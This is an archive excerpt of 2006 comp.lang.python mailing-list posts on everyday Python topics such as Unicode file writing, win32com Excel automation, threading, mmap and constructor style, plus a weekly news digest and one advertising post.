>>
>>While I don't dispute any of this erudite display of esoteric
>>nomenclature wisdom the fact remains that many (predominantly Western)
>>databases do tend to use first and last name (in America often with the
>>addition of a one- or two-character "middle initial" field).
> 
> 
> Just because most Western designers of databases do it wrong doesn't mean
> that a) you should do it wrong, or b) they will continue to do it wrong
> into the future, as increasing numbers of those designers come from Asian
> and other non-Western backgrounds.
> 
I quite agree: my comment was really intended to highlight the fact that 
most Western database designers (myself included) do tend to be quite 
locale-centric. I haven't any experience with Eastern design, so can't 
say whether the same holds true.
> 
>>So, having distilled your knowledge to its essence could you please give
>>me some prescriptive advice about what I *should* do? :-)
> 
> 
> Has anyone come up with a proper universal table design for storing people's
> names?
> 
> Certainly "first name" and "last name" are the wrong column names to use. I
> think "family name" and "given names" would be a good start. For the
> Icelanders, Somalians and the Muslims, their father's name goes in
> the "family name" field, which makes sense because all their siblings (of
> the same sex, at least) would have the same value in this field.
> 
> I wonder if we need another "middle" field for holding the "bin/binte" part
> (could also hold, e.g. "Van" for those names that use this).
> 
> There would also need to be a flag field to indicate the canonical ordering
> for writing out the full name: e.g. family-name-first, given-names-first.
> Do we need something else for the Vietnamese case?

You'd think some standards body would have worked on this, wouldn't you. 
I couldn't think of a Google search string that would lead to such 
information, though. Maybe other, more determined, readers can do better.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From DustanGroups at gmail.com  Thu Oct  5 18:00:35 2006
From: DustanGroups at gmail.com (Dustan)
Date: 5 Oct 2006 15:00:35 -0700
Subject: Strange sorting error message
In-Reply-To: <mailman.1214.1159929494.10491.python-list@python.org>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>
	<mailman.1214.1159929494.10491.python-list@python.org>
Message-ID: <1160085635.215544.96580@h48g2000cwc.googlegroups.com>


Steve Holden wrote:
> Dustan wrote:
> > I'm hiding some of the details here, because I don't want to say what
> > I'm actually doing.
> > [...]
>
> I have the answer to your problem but I don't actually want to tell you
> what it is.

That's great, seeing as I already figured out the answer, as I have
already posted in a reply.

Are you saying I broke one of these rules?
http://www.catb.org/~esr/faqs/smart-questions.html
Or are you just being plain rude?
A lack of a response from you implies the latter...

>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From steve at holdenweb.com  Mon Oct  2 02:02:32 2006
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 02 Oct 2006 07:02:32 +0100
Subject: Picture in Excel issue
In-Reply-To: <003301c6e5c2$bc98bb60$0f1ea8c0@tc4200>
References: <003301c6e5c2$bc98bb60$0f1ea8c0@tc4200>
Message-ID: <efqa05$31b$1@sea.gmane.org>

Jim Chiang wrote:
> I?m trying to very simply insert a picture from a file into an excel 
> spreadsheet. I know how to do this in VBA and it works fine, however 
> when I try this from python I get an error. Doing a search on this 
> turned up nothing.
> 
> The code I?m using is:
> 
> from win32com.client.dynamic import Dispatch
> 
> xl = Dispatch( 'Excel.Application' )
> 
> xl.Visible=1
> 
> xl.Workbooks.Add()
> 
> xl.ActiveSheet.Pictures.Insert("C:\a.jpg")
> 
>  
> 
> Traceback (most recent call last):
> 
>   File "<pyshell#7>", line 1, in <module>
> 
>     xl.ActiveSheet.Pictures.Insert("C:\a.jpg")
> 
> AttributeError: 'function' object has no attribute 'Insert'
> 
>  
> 
> I?m not sure why I get this issue since 
> ?ActiveSheet.Pictures.Insert("C:\a.jpg")? works fine from within Excel. 
> Several internet posts from my searches also suggest to use this method.
> 
>  
> 
> I?ve tried this on both Python 2.1 and 2.5 with the same results.
> 
> Any idea what the problem is or how I can insert the picture??
> 
>  
> 
> TIA,
> 
> Jim
> 
>  
> 
I suspect that Pictures is a function that returns a collection - try

   ActiveSheet.Pictures().Insert("C:\a.jpg")

Remember that VBA uses implied function calls, you have to be explicit 
in Python.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From gherzig at fmed.uba.ar  Fri Oct 20 10:47:03 2006
From: gherzig at fmed.uba.ar (Gerardo Herzig)
Date: Fri, 20 Oct 2006 11:47:03 -0300
Subject: list comprehension (searching for onliners)
In-Reply-To: <4538C950.1060403@tim.thechases.com>
References: <4538C09E.2040408@fmed.uba.ar> <4538C950.1060403@tim.thechases.com>
Message-ID: <4538E167.9080408@fmed.uba.ar>

You are the man, you are the man!! Yes, i need those dicts in order to 
assign them to a nested <TMPL_LOOP> for the htmltmpl templating engine. 
Thats why i cant use the solution provided by Max, and thanks to Jon too!!
Thanks a lot dudes, i hope someday ill turn myself into some of you guys 
who can actually answer questions ;)

Gerardo

>> result = [{'service_id' : 1, 'value': 10},
>>                 {'service_id': 2, 'value': 5},
>>                 {'service_id': 1, 'value': 15},
>>                 {'service_id': 2, 'value': 15},
>>              ]
>>
>> and so on...what i need to do is some list comprehension that returns 
>> me something like
>>
>> result = [
>>                 {
>>                     'service_id' : 1, 'values': [ {'value': 10}, 
>> {'value': 15}]
>>                  },
>>                 {
>>               'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}]
>>                 }
>>               
>> My problem now is i cant avoid have "repeteated" entries, lets say, 
>> in this particular case, 2 entries for "service_id = 1", and other 2 
>> for "service_id =2".
>
>
> Okay...while I'm not sure the opacity of a one-liner is actually 
> productive, it *can* be done.  Whether it should, I leave that to your 
> discernment. :)
>
> >>> [{'service_id': i, 'values':[{'value':d2['value']} for d2 in 
> result if d2['service_id'] == i ]} for i in set(d['service_id'] for d 
> in result)]
>
> [{'service_id': 1, 'values': [{'value': 10}, {'value': 15}]}, 
> {'service_id': 2, 'values': [{'value': 5}, {'value': 15}]}]
>
>
> There's no claiming it's efficient, as it looks like there may be some 
> O(N^2) logic going on under the hood (or possibly O(N*M) where N is 
> the size of the result-set and M is the count of unique service_id 
> values), as it's iterating over the result-set in two 
> dimensions...once to create the set of top-level indices, and once for 
> each result.
>
> If you didn't have to have all those dictionaries around, it might 
> come out more cleanly to just have some result-set that came out to be
>
>     {1: [10,15], 2: [5,15]}
>
> Just a few thoughts...
>
> -tkc
>
>
>
>



From leo at snorland.com  Sun Oct 29 06:19:22 2006
From: leo at snorland.com (Snor)
Date: 29 Oct 2006 03:19:22 -0800
Subject: Event driven server that wastes CPU when threaded doesn't
Message-ID: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>

I'm attempting to create a lobby & game server for a multiplayer game,
and have hit a problem early on with the server design. I am stuck
between using a threaded server, and using an event driven server. I've
been told time and time again that I should use an event driven server
design (that is, use twisted).

There is a lot of interaction between the clients and they would often
need to write to the same list of values, which of course becomes a
problem with a threaded server - so event driven solves that problem,
and I assumed it would solve all my problems. However some requests
from clients would require that the server goes on to query a mySQL
server (separate machine from the server). As this occurs, there is a
small amount of lag while the communication with the mySQL server takes
place, and there could be another 100 clients waiting to make a request
at this point, meanwhile the server is idling while waiting for a
response from the mySQL server - obviously not a good server model.

I will want the server to support as many users as is possible on any
given machine - and so wasted CPU cycles is something I am trying to
avoid.

Is the only solution to use a threaded server to let my clients make
their requests and receive a response in the fastest possible time?



From gagsl-py at yahoo.com.ar  Thu Oct 19 00:34:24 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 19 Oct 2006 01:34:24 -0300
Subject: How to use python in TestMaker
In-Reply-To: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
References: <1161225253.111034.4730@f16g2000cwb.googlegroups.com>
Message-ID: <7.0.1.0.0.20061019012636.036008a0@yahoo.com.ar>

At Wednesday 18/10/2006 23:34, kelin,zzf818 at gmail.com wrote:

>Now I 'm learning python to do testing jobs, and want to use it in
>TestMaker.
>The problem is: I don't know how to use python in TestMaker.
>Just write python program in it or call .py files in it?
>I am really new about it and need some help.

What do you mean by "use python in TestMaker"?
TestMaker is written in Python, but you dont need to know Python to 
use it at all.
Do you want to modify TestMaker itself? Then you should learn the 
Python language first.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From steve at holdenweb.com  Wed Oct 25 19:00:22 2006
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 26 Oct 2006 00:00:22 +0100
Subject: cleaner way to write this?
In-Reply-To: <qHO%g.153$1n3.4133@news.tufts.edu>
References: <USN%g.148$1n3.4086@news.tufts.edu>	<j5O%g.150$1n3.4013@news.tufts.edu>	<7xwt6o44um.fsf@ruckus.brouhaha.com>	<%dO%g.151$1n3.4135@news.tufts.edu>	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
	<qHO%g.153$1n3.4133@news.tufts.edu>
Message-ID: <ehoq83$6iq$2@sea.gmane.org>

John Salerno wrote:
> Paul Rubin wrote:
> 
> 
>>Oh, I see.  You really want something like repeat...while, which Python
>>doesn't have.  Anyway I start to prefer something like (untested):
>>
>>     def create_db_name(self):
>>         try:
>>            while True:
>>               dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
>>                                       'Create New Database')
>>               if dlg.ShowModal() != wx.ID_OK:
>>                   return None
>>               db_name = dlg.GetValue()
>>               if db_name:
>>                   return db_name
>>               pop_up_error_dialog("please enter a value or press cancel")
>>         finally:
>>            dlg.Destroy()
> 
> 
> Interesting. Some variation of this might suit me, but I think one other 
> problem I'm having is that the ShowModal() method returns whenever a 
> button is pressed, so even if OK is pressed with an empty string in the 
> box, the dialog disappears and returns an "OK" value. I'll have to check 
> in the wxpython group on how to handle this one, I think.

I suspect you need to use a validator so the user can't click OK until 
they've put a value int eh text entry item.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From tier at inbox.ru  Sun Oct 22 19:31:28 2006
From: tier at inbox.ru (Roman Petrichev)
Date: Mon, 23 Oct 2006 03:31:28 +0400
Subject: multythreading app memory consumption
Message-ID: <453BFF50.5000402@inbox.ru>

Hi folks.
I've just faced with very nasty memory consumption problem.
I have a multythreaded app with 150 threads which use the only and the 
same function - through urllib2 it just gets the web page's html code 
and assigns it to local variable. On the next turn the variable is 
overritten with another page's code. At every moment the summary of 
values of the variables containig code is not more than 15Mb (I've just 
invented a tricky way to measure this). But during the first 30 minutes 
all the system memory (512Mb) is consumed and 'MemoryError's is arising.
Why is it so and how can I limit the memory consumption in borders, say, 
400Mb? Maybe there is a memory leak there?
Thnx

The test app code:


Q = Queue.Queue()
for i in rez: #rez length - 5000
     Q.put(i)


def checker():
     while True:
         try:
             url = Q.get()
         except Queue.Empty:
             break
         try:
             opener = urllib2.urlopen(url)
             data = opener.read()
             opener.close()
         except:
             sys.stderr.write('ERROR: %s\n' % traceback.format_exc())
             try:
                 opener.close()
             except:
                 pass
             continue
         print len(data)


for i in xrange(150):
     new_thread = threading.Thread(target=checker)
     new_thread.start()


From oliphant.travis at ieee.org  Mon Oct 23 19:57:31 2006
From: oliphant.travis at ieee.org (Travis E. Oliphant)
Date: Mon, 23 Oct 2006 17:57:31 -0600
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <453D4BC4.9080100@v.loewis.de>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<453D4BC4.9080100@v.loewis.de>
Message-ID: <ehjkqj$1n2$1@sea.gmane.org>

Martin v. L?wis wrote:
> myeates at jpl.nasa.gov schrieb:
>> Anyone ever done this? It looks like Python2.4 won't take a length arg
>>> 2 Gig since its not seen as an int. 
> 
> What architecture are you on? On a 32-bit architecture, it's likely
> impossible to map in 2GiB, anyway (since it likely won't fit into the
> available address space).
> 
> On a 64-bit architecture, this is a known limitation of Python 2.4:
> you can't have containers with more than 2Gi items. This limitation
> was removed in Python 2.5, so I recommend to upgrade. Notice that
> the code has seen little testing, due to lack of proper hardware,

NumPy uses the mmap object and I saw a paper at SciPy 2006 that used 
Python 2.5 + mmap + numpy to do some pretty nice and relatively fast 
manipulations of very large data sets.

So, the very useful changes by Martin have seen more testing than he is 
probably aware of.

-Travis



From rpdooling at gmail.com  Sat Oct 14 11:21:41 2006
From: rpdooling at gmail.com (BartlebyScrivener)
Date: 14 Oct 2006 08:21:41 -0700
Subject: Best IDE?
In-Reply-To: <1160781153.445015.11620@i42g2000cwa.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
	<1160750319.845988.28050@m73g2000cwd.googlegroups.com>
	<1160781153.445015.11620@i42g2000cwa.googlegroups.com>
Message-ID: <1160839301.400188.159060@b28g2000cwb.googlegroups.com>

Fuzzyman wrote:

> Hmm... only 31 results over a period of 8 years. That's a couple of
> orders of magnitude less than I would have guessed.

Well, if you take the quotes off of "best ide" then you get 342.

rd



From python-url at phaseit.net  Tue Oct  3 21:45:03 2006
From: python-url at phaseit.net (Cameron Laird)
Date: Wed, 4 Oct 2006 01:45:03 +0000 (UTC)
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct  4)
Message-ID: <efv3mv$t5d$1@lairds.us>

QOTW:  "If you want your objects to know their name, give them a name as
an attribute." - Georg Brandl

"Unfortunately forty years of programming experience has taught me that 
there's an essentially infinite supply of mistakes to make ... your 
mistakes just get smarter most of the time." - Steve Holden 


    timbot and other seniors explain several aspects of memory
    management applicable to a specific "pathologic example 
    ... [for which it's an advantage] to disable garbage
    collection":
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/66ecc194fa8af1a1/

    No, Ruby isn't more virtuously object-oriented than Python
    (although it *is* more Smalltalk-like).  John Roth details
    the factual distinctions:
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/25e108582b4a6db2/

    Duncan Booth, effbot, Steve Holden, and others surpass Lewis Carroll
    in the care with which they distinguish a character, the name of the
    character, what it's called, ...:
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/14885cf940d9e8b9/

    Sybren Stuvel's article on Open Office and Python is important
    enough to merit correction:
        http://groups.google.com/group/comp.lang.python/browse_thread/thread/c7bee85c6af82777/
    With a far different programming model, Python also can boss Excel
    around to the extent of inserting images:
	 http://groups.google.com/group/comp.lang.python/browse_thread/thread/8a0a1165a9b844f5/

    How do you realize the source for a class definition so it's 
    useful, that is, effectively able for use in the future?  James
    Stroud and Scott David Daniels tell their stories:
	http://groups.google.com/group/comp.lang.python/browse_thread/thread/99d80c18db6228cc/

    WSGI has its own PEP, Wiki, high-profile introduction, ...:
	http://www.xml.com/pub/a/2006/09/27/introducing-wsgi-pythons-secret-web-weapon.html


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    For far, FAR more Python reading than any one mind should
    absorb, much of it quite interesting, several pages index
    much of the universe of Pybloggers.
	http://lowlife.jp/cgi-bin/moin.cgi/PythonProgrammersWeblog
        http://www.planetpython.org/
        http://mechanicalcat.net/pyblagg.html

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Python411 indexes "podcasts ... to help people learn Python ..."
    Updates appear more-than-weekly:
        http://www.awaretek.com/python/index.html

    Steve Bethard, Tim Lesher, and Tony Meyer continue the marvelous
    tradition early borne by Andrew Kuchling, Michael Hudson and Brett
    Cannon of intelligently summarizing action on the python-dev mailing
    list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/python/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance.
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Kurt B. Kaiser publishes a weekly report on faults and patches.
        http://www.google.com/groups?as_usubject=weekly%20python%20patch

    Although unmaintained since 2002, the Cetus collection of Python
    hyperlinks retains a few gems.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
	http://www.python.org/dev/peps/pep-0042/

    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    del.icio.us presents an intriguing approach to reference commentary.
    It already aggregates quite a bit of Python intelligence.
        http://del.icio.us/tag/python

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topic/python/ (requires subscription)
  http://groups-beta.google.com/groups?q=python-url+group:comp.lang.python*&start=0&scoring=d&
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python
There is *not* an RSS for "Python-URL!"--at least not yet.  Arguments
for and against are occasionally entertained.


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".  Write to the same address to unsubscribe.


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.


From __peter__ at web.de  Sat Oct  7 17:59:01 2006
From: __peter__ at web.de (Peter Otten)
Date: Sat, 07 Oct 2006 23:59:01 +0200
Subject: Encoding and norwegian (non ASCII) characters.
References: <1160252959.777111.100090@h48g2000cwc.googlegroups.com>
Message-ID: <eg97rj$d4c$02$1@news.t-online.com>

joakim.hove at gmail.com wrote:

> Hello,
> 
> I am having great problems writing norwegian characters ??? to file
> from a python application. My (simplified) scenario is as follows:
> 
> 1. I have a web form where the user can enter his name.
> 
> 2. I use the cgi module module to get to the input from the user:
>     ....
>     name = form["name"].value
> 
> 3. The name is stored in a file
> 
>     fileH = open(namefile , "a")
>     fileH.write("name:%s \n" % name)
>     fileH.close()
> 
> Now, this works very well indeed as long the users have 'ascii' names,
> however when someone enters a name with one of the norwegian characters
> ??? - it breaks at the write() statement.
> 
>    UnicodeDecodeError: 'ascii' codec can't decode byte 0x8f in position
> ....
> 
> Now - I understand that the ascii codec can't be used to decode the
> particular characters, however my attempts of specifying an alternative
> encoding have all failed.
> 
> I have tried variants along the line:
> 
>    fileH = codecs.open(namefile , "a" , "latin-1") / fileH =
> open(namefile , "a")
>    fileH.write(name)   /    fileH.write(name.encode("latin-1"))
> 
> It seems *whatever* I do the Python interpreter fails to see my pledge
> for an alternative encoding, and fails with the dreaded
> UnicodeDecodeError.
> 
> Any tips on this would be *highly* appreciated.

The approach with codecs.open() should succeed

>>> out = codecs.open("tmp.txt", "a", "latin1")
>>> out.write(u"???")
>>> out.write("abc")
>>> out.write("???")
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/usr/local/lib/python2.4/codecs.py", line 501, in write
    return self.writer.write(data)
  File "/usr/local/lib/python2.4/codecs.py", line 178, in write
    data, consumed = self.encode(object, self.errors)
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 0:
ordinal not in range(128)

provided that you write only unicode strings with characters in the range
unichr(0)...unichr(255) and normal strs in the range chr(0)...chr(127).

You have to decode non-ascii strs before feeding them to write() with the
appropriate encoding (that only you know)

>>> out.write(unicode("\xe6\xf8\xe5", "latin1"))

If there are unicode code points beyond unichr(255) you have to change the
encoding in codecs.open(), typically to UTF-8.

# raises UnicodeEncodeError
codecs.open("tmp.txt", "a", "latin1").write(u"\u1234") 

# works
codecs.open("tmp.txt", "a", "utf8").write(u"\u1234")

Peter



From will at willmcgugan.com  Mon Oct  2 06:42:01 2006
From: will at willmcgugan.com (Will McGugan)
Date: 2 Oct 2006 03:42:01 -0700
Subject: __init__ style questions
Message-ID: <1159785721.004647.51490@c28g2000cwb.googlegroups.com>

I am writting a Vector3D class as a teaching aid (not for me, for
others), and I find myself pondering over the __init__ function. I want
it to be as easy to use as possible (speed is a secondary
consideration).

Heres the __init__ function I have at the moment.

class Vector3D(object):

    __slots__ = ('x', 'y', 'z')

    def __init__(self, x_or_iter=None, y=None, z=None):

        if x_or_iter is None:
            self.x = self.y = self.z = 0
        elif z is None:
            it = iter(x_or_iter)
            self.x = float(it.next())
            self.y = float(it.next())
            self.z = float(it.next())
        else:
            self.x = float(x_or_iter)
            self.y = float(y)
            self.z = float(z)

A Vector3D can be constructed in 3 ways. If no parameters are given it
assumes a default of (0, 0, 0). If one parameter is given it is assumed
to be an iterable capable of giving 3 values. If 3 values are given
they are assumed to be the initial x, y, z.

And now for the ponderings...

1) Is 'overloading' like this pythonic, or should I supply alternative
contstructors?

2) I convert the input values to floats, which seems convenient because
a Vector could be constructed with integers and other objects capable
of being converted to floats. Could this hide errors?

3) I like the constructing from an iterable, but it does mean that I
can do something crazy like Vector3D("123"). Could this also hide
errors?

4) This does seem like a good candidate for __slots__, since there will
could be large-ish lists of Vector3Ds. But is it a premature
optimization?

If it was just for myself or other experienced programmers I wouldn't
be bothered about having the ability to do stupid things, because I
simply wouldnt do them! But I dont want to teach beginner programmers
bad habbits!

Any comments appreciated...

Will McGugan
--
http://www.willmcgugan.com



From ygao2004 at gmail.com  Sat Oct  7 22:35:01 2006
From: ygao2004 at gmail.com (ygao)
Date: 7 Oct 2006 19:35:01 -0700
Subject: can compile function have a bug?
Message-ID: <1160274901.447221.45720@e3g2000cwe.googlegroups.com>

>>> compile('U"?"','c:/test','single')
<code object ? at 00F06B60, file "c:/test", line 1>
>>> d=compile('U"?"','c:/test','single')
>>> d
<code object ? at 00F06BA0, file "c:/test", line 1>
>>> exec(d)
u'\xd6\xd0'
>>> U"?"
u'\u4e2d'
>>>

why is the result different?
a bug or another reason?



From fredrik at pythonware.com  Fri Oct  6 03:03:46 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 09:03:46 +0200
Subject: Strange sorting error message
In-Reply-To: <eg4ufj$1b5$1@sea.gmane.org>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>	<mailman.1214.1159929494.10491.python-list@python.org>	<1160085635.215544.96580@h48g2000cwc.googlegroups.com>	<HMfVg.4318$5i7.2585@newsreading01.news.tds.net>	<1160087994.520447.199830@e3g2000cwe.googlegroups.com>
	<eg4ufj$1b5$1@sea.gmane.org>
Message-ID: <eg4v4h$3sv$1@sea.gmane.org>

Steve Holden wrote:

> Even when it smacks you in the face, apparently. Anyway, I'm sorry if 
> you thought I was getting at you in any way. Just trying to amuse the 
> group ...

time to reinstate mandatory use of the <wink> tag ?

</F>



From moqtar at gmail.com  Fri Oct 20 02:06:06 2006
From: moqtar at gmail.com (Kirt)
Date: 19 Oct 2006 23:06:06 -0700
Subject: Need help in Py2exe
In-Reply-To: <mailman.805.1161321418.11739.python-list@python.org>
References: <1161318158.913494.69770@m7g2000cwm.googlegroups.com>
	<mailman.805.1161321418.11739.python-list@python.org>
Message-ID: <1161324366.849678.287060@h48g2000cwc.googlegroups.com>


>
> there's a page on the py2exe site about tweaks necessary for specific
> modules:
>
>      http://www.py2exe.org/index.cgi/WorkingWithVariousPackagesAndModules
>
> look for:
>
>      If you're getting File "xml\sax\saxexts.pyc", line 77, in
>      make_parser; xml.sax._exceptions.SAXReaderNotAvailable: No
>      parsers found, read this
> 
> </F>

Thanx for the help. It worked.



From paddy3118 at netscape.net  Fri Oct 27 00:06:58 2006
From: paddy3118 at netscape.net (Paddy)
Date: 26 Oct 2006 21:06:58 -0700
Subject: Sentinel values for special cases
In-Reply-To: <mailman.1308.1161912647.11739.python-list@python.org>
References: <mailman.1308.1161912647.11739.python-list@python.org>
Message-ID: <1161922018.807346.163290@k70g2000cwa.googlegroups.com>

Ben Finney wrote:
> Howdy all,
>
> Ned Batchelder blogged[0] about a debate over checking function
> parameters, and to what extent dynamic typing should be relied upon.
>
> I was one of many who commented, but I wrote what purports to be a
> comprehensive checklist when considering special-case inputs for
> functions. I thought the best way to puncture my ego would be to post
> that list here and see how well it survives :-) Here goes:
>
> [0]: <URL:http://www.nedbatchelder.com/blog/200610.html#e20061022T192641>

Referring to the blog entry, if I had a function that could take
several items of data, where data items were 'expensive' to gather, but
might not all be needed due to other data values, then I can see the
need for using sentinel values for some of the data items and only
computing their true value when necessary.

In Python, as others stated, the sentinel value of choice for all the
data values should be None, or, some module level global constant,
guaranteed not to be part of the data.

None is what Python readers would expect as a sentinel value, but if
any of your data fields could have None as a valid value then you may
have to switch to a module level constant.
Be wary of using sentinel values which are strings, if your data could
itself be a string - make sure the sentinel value is not valid data,
and always use the sentinel name and not its value from then on. it is
very wrong to do this sort of thing:


NO_DATA = '::NO_DATA::'

def xyz(a,b,c):
  if a == '::NO_DATA::':
    # blah blah blah


You  should use the name NO_DATA for the comparison.

If you are having difficulty working out what to use as a sentinel
value for your data then you could declare a Sentinel class and use
that:


class _Sentinel(object):
  ' Initial data value when true data has not been fetched/computed
yet'
  pass

NO_DATA = _Sentinel

def xyz(a,b,c):
  if a == NO_DATA:
    # go get a


(Hmm, should that be double underscores on _Sentinel ...).

- Paddy.



From pepe1959 at sbcglobal.net  Sat Oct 21 14:51:47 2006
From: pepe1959 at sbcglobal.net (Joe)
Date: 21 Oct 2006 11:51:47 -0700
Subject: What About Next Laptop Computers?
Message-ID: <1161456707.355956.152850@i42g2000cwa.googlegroups.com>

L International Reveals Plans for High-Tech
Next-Generation Laptop Computer Systems

L International Computers Inc. "L" renowned manufacturer of
high-performance computers and personal/business technologies, revealed
plans for its next generation high-end laptop and ultra-portable
computer systems.

To read this articles, go to:
http://www.contactomagazine.com/laptopcomputers1006.htm

More Business and Computer News:
http://www.contactomagazine.com/business.htm



From fredrik at pythonware.com  Thu Oct 19 15:15:04 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 21:15:04 +0200
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
References: <eh8708$nc7$1@solaris.cc.vt.edu>	<7iNZg.117$1n3.3352@news.tufts.edu>
	<p%OZg.16348$e66.11338@newssvr13.news.prodigy.com>
Message-ID: <eh8isf$qv4$1@sea.gmane.org>

James Stroud wrote:

 > without requiring an iterator

can we perhaps invent some more arbitrary constraints while we're at it?

</F>



From XX.XmcX at XX.XmclaveauX.com  Fri Oct  6 22:43:44 2006
From: XX.XmcX at XX.XmclaveauX.com (MC)
Date: Sat, 07 Oct 2006 04:43:44 +0200
Subject: News on versions modules for Python-2.5?
References: <45269df8$0$25949$ba4acef3@news.orange.fr>
Message-ID: <mn.391b7d6a98ceaf30.46195@XX.XmclaveauX.com>

Hi again!

Thank you, for all answers & contribs.

-- 
@-salutations

Michel Claveau




From onurb at xiludom.gro  Tue Oct 10 06:49:18 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 10 Oct 2006 12:49:18 +0200
Subject: Python component model
In-Reply-To: <pan.2006.10.09.18.24.45.251048@gmx.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<pan.2006.10.09.18.24.45.251048@gmx.net>
Message-ID: <452b7aae$0$306$426a74cc@news.free.fr>

Marc 'BlackJack' Rintsch wrote:
(snip)
  Python itself is a RAD tool.

+1 QOTW

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From hanumizzle at gmail.com  Tue Oct 17 00:05:03 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 17 Oct 2006 00:05:03 -0400
Subject: Plotting histograms
In-Reply-To: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com>
Message-ID: <463ff4860610162105l363c5ccer8ad825288c4c1daf@mail.gmail.com>

On 16 Oct 2006 20:49:10 -0700, amitsoni.1984 at gmail.com
<amitsoni.1984 at gmail.com> wrote:
